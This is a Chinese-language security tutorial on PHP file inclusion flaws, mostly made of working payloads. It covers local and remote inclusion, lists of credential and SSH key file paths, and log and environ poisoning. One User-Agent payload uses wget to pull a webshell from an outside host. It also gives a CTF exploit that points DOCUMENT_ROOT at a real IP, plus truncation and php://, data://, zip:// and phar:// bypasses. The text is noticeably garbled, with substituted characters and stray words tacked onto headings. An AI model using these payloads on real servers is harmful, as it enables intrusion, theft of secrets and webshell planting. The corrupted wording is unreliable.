文件包含漏洞 TIPS

https://www.chery666.cn/blog/2017/06/17/include.htmlphp


0x01 原理

网页代码在经过函数复用文件时,未对文件名进行安全检查时,从而致使恶意代码执行和敏感信息泄露。主要分为本地包含(LFI)和远程包含 (RFI)html

涉及到的危险函数:include(),require() 和 include_once(),require_once()mysql

  • Include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个 php 文件继续执行。
  • Require: 跟 include 惟一不一样的是,当产生错误时候,include 下面继续运行而 require 中止运行了。
  • Include_once: 这个函数跟 include 函数做用几乎相同,只是他在导入函数以前先检测下该文件是否被导入。若是已经执行一遍那么就不重复执行了。
  • Require_once: 这个函数跟 require 的区别 跟上面我所讲的 include 和 include_once 是同样的。因此我就不重复了。

测试代码linux

<?php
$a = $_GET['chery'];
include($a);

0x02 本地包含(LFI)

  • 包含目录文件web

    • ?fuck=chery.txt
      若是里面的内容是 php,则内容会被当成 php 执行 (可经过 PHP 流协议输出,接下来会细说), 不是 php 则会读取到文件内容 (用来读取 / etc/passw 等等配置文件的敏感信息)
    • ?fuck=./../../chery.txt
      ./当前目录,../上一级目录, 这样的遍历目录来读取文件

Windows:sql

C:boot.ini // 查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS 配置文件
C:Windowsrepairsam // 存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql 配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php 配置信息
C:Windowsmy.ini //Mysql 配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gzshell

  • 包含日志
    常见几个路径:

/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
也可用经过先包含配置文件来肯定日志文件路径
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
而后在 user-agent 中插入 payload
apache


能够看见已经成功写入 log

接着访问日志文件便可包含
  • 包含系统环境 / proc/self/enviro
    尝试访问? chery=../../../../../proc/self/environ 看看,若是能看到以下的内容就说明能够继续,若是返回的是空白页就可能没有权限访问或者服务器系统就是 FreeBSD(可是如今大部分系统的 environ 只有 root 用户只读的权限)


在 User-Agent 中插入以下代码:
<?system(wget http://xxx.xxx.xxx.xxx/chery.txt -O chery.php);?>
或者 <?php copy(http://xxx.xxx.xxx.xxx/chery.txt, chery.php) ?>
而后服务器将下载指定的文件并将文件保存在网站根目录的 chery.php 文件中,便可得到一个 webshell。
  • 包含 session 文件
    Session 文件通常存放在 / tmp/、/var/lib/php/session/、/var/lib/php/session / 等目录下,文件名字通常以 sess_SESSIONID 来保存。


首先,查看找到 session 文件并包含一次:文件名能够经过 firefox 的 fire cookie 插件查看当前 session 值。
实际应用过程当中须要注意如下几点:
1) 网站可能没有生成临时 session,以 cookie 方式保存用户信息,或者根本就彻底没有。
2) Session 文件内容的控制,这个时候咱们就须要先经过包含查看当前 session 的内容,看 session 值中有没有咱们可控的某个变量,好比 url 中的变量值。或者当前用户名 username, 或者能够经过变量覆盖来写入. 若是有的话,咱们就能够经过修改可控变量值控制恶意代码写入 session 文件。若是没有的话,能够考虑让服务器报错,有时候服务器会把报错信息写入用户的 session 文件的。咱们控制使服务器报错的语句便可将恶意代码写入 session。(session 文件格式可参考 http://www.thinksaas.cn/topics/0/52/52827.html)
  • LFI with PHPInfo

向 phpinfo 上传文件则能够返回文件路径,可是文件存在时间很短,能够用程序持续上传,而后就能够包含你上传的文件了
windows


其中 PHP 引擎对 enctype=”multipart/form-data” 这种请求的处理过程以下:一、请求到达;二、建立临时文件,并写入上传文件的内容;三、调用相应 PHP 脚本进行处理,如校验名称、大小等;四、删除临时文件。

利用 PHPInfo 进行本地文件包含的主要思想是在临时文件删除前执行操做。数组

咱们须要争取时间,时间差大体来自三个方面:
一、经过分块传输编码,提早获知临时文件名称;
分块传输能够实如今未彻底传输完成时便可获知临时文件名,能够尽早发起文件包含请求,赶在删除以前执行代码。
二、经过增长临时文件名后数据长度来延长时间;
经过观察 PHPinfo 的信息,在 $_FILES 信息下面,还有请求头的相关信息,咱们能够在请求的时候,经过填充大量无用数据,来增长后面数据的长度,从而增长脚本的处理时间,为包含文件争取更多的时间。
三、经过大量请求来延迟 PHP 脚本的执行速度。
经过大量的并发请求,提升成功的几率。因为对 PHP 处理性能的不熟悉,作了一个简单的测试,记录大量多个请求下,每一个脚本的运行时间.

参考:LFI with PHPInfo 本地测试过程
实战运用:乌云链家 phpinfo 文件包含到内网渗透

0x03 远程包含(RFI)


(须要 allow_url_fopen=On 而且 allow_url_include=On)
这里用 cumtctf 的一道远程包含和变量覆盖的题目来讲明
提示有源码泄露,先审计源码:
if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] != '') {
    if (stripos($_SERVER['QUERY_STRING'], "GLOBALS") === false &&
            stripos($_SERVER['QUERY_STRING'], "_GET") === false &&
            stripos($_SERVER['QUERY_STRING'], "_SERVER") === false &&
            stripos($_SERVER['QUERY_STRING'], "_POST") === false &&
            stripos($_SERVER['QUERY_STRING'], "_COOKIE") === false &&
            stripos($_SERVER['QUERY_STRING'], "_REQUEST") === false && 
            stripos($_SERVER['QUERY_STRING'], "_ENV") === false && 
            stripos($_SERVER['QUERY_STRING'], "_FILES") === false && 
            stripos($_SERVER['QUERY_STRING'], "_SESSION") === false) {
        parse_str($_SERVER['QUERY_STRING']);
    }
}

首先是一大串过滤,发现过滤的都是 php 全局数组
这里百度了一下 QUERY_STRING 函数和 parse_str 函数(具体用法自行百度)
发现后者存在 url 解码,故能够用 url 编码绕过过滤,而且后者具备变量覆盖的功效。至此能够掌控全局变量。
继续审计源码

define("Z_ENTRANCE", true);
define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
require(Z_ABSPATH . "/conn.php");
require(Z_ABSPATH . "/functions.php");
if (isset($action) && $action == 'main') {
    require(Z_ABSPATH . "/main.php");

发现第二个关键点define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);这里存在了一个根目录,而前面咱们说到了全局变量覆盖的问题,因此这里毋庸置疑,咱们应该覆盖的就是这个根目录,将其改成咱们的 vps 地址,故能够远程包含咱们的脚本
(注:别忘了你的 vps 下也要放 conn.php 和 functions.php 不然程序运行到这里就失败了……)
将本身的小马写进 main.php
小马以下:`<?php
echo "<?php echo ls ?>";`
而后发 payload:
/index.php?%5fSERVER[DOCUMENT_ROOT]=http://123.206.222.169&action=main
便可获得全有文件,能够看见 flag 文件
再将小马的 ls 改成 cat 便可得到 flag

0x04 包含绕过姿式

测试代码 <?php include("inc/" . $_GET['file'] . ".htm"); ?>

  • %00 截断
    /etc/passwd%00

(须要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效)

  • %00 截断目录遍历:
    /var/www/%00

(须要 magic_quotes_gpc=off,unix 文件系统,好比 FreeBSD,OpenBSD,NetBSD,Solaris)

  • 路径长度截断:
    /etc/passwd/././././././.[…]/./././././.

(php 版本小于 5.2.8(?) 能够成功,linux 须要文件名长于 4096,windows 须要长于 256)

  • 点号截断:
    /boot.ini/………[…]…………

(php 版本小于 5.2.8(?) 能够成功,只适用 windows,点号须要长于 256)

  • 常见封装协议的利用

    • 利用 php 流 input(接受 POST 过来的值):
      ?file=php://input(须要 allow_url_include=On)

  • 利用 php 流 filter(过滤器, 能够用来读取 php 文件内容, 不须要开启 allow_url_include):?file=php://filter/convert.base64-encode/resource=index.php

    • 利用 data URIs:
      ?file=data://text/plain;base64,base64 编码的 payload(须要 allow_url_include=On)

<?php phpinfo();, 注意没有?> 闭合, 闭合标签的话就包含失败了。

  • 利用 zip 协议:
    测试代码
$include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
        {    
                require( $include_file );
        }

截取过来的后面 4 格字符, 判断是否是 php, 若是是 php 才进行包含
zip://archive.zip#dir/file.txt(file.txt 被压缩在 archive.zip 中)


注意 url 编码, 由于这个 #会和 url 协议中的# 冲突
  • phar 协议
    phar 是将 php 文件归档到一个文件包里面(与 zip 协议相似)

建立 phar 的代码以下:

<?php
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; 
$p->addFromString('testfile.txt', '<?php phpinfo();?>'); 
?>

建立 phar 的时候要注意 php.ini 的参数, phar.readonly 设置为 off(本地测试的两个默认都是 off)
而后经过包含协议访问:
http://127.0.0.1/demo.php?chery=phar://./phar/phartest.aaa/testfile.txt